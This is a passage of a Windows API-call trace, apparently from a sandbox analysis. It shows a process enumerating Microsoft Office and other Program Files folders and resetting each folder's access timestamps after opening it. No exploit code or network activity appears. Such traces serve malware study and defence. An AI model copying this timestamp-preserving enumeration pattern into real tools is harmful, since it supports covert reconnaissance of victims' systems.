lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.474] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.474] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.480] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.480] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.486] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.487] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.491] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.491] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.494] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.494] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.498] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.498] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.502] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.502] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.507] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.507] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.515] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.515] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad0d58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad0d58, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.521] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.521] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad0d58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad0d58, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.534] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.534] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.537] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.537] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.541] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.541] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.552] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.552] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.556] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.556] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.557] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.557] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.562] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.562] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.564] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.564] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.571] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.571] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.574] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.574] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.578] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.578] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.580] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.580] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.582] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.582] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.587] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.587] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.589] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.589] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.590] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.590] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0145.592] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.592] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.596] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.596] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.598] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.598] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.601] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.601] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.605] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.605] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.607] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.607] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.610] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.610] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.613] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.613] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.615] CreateFileW 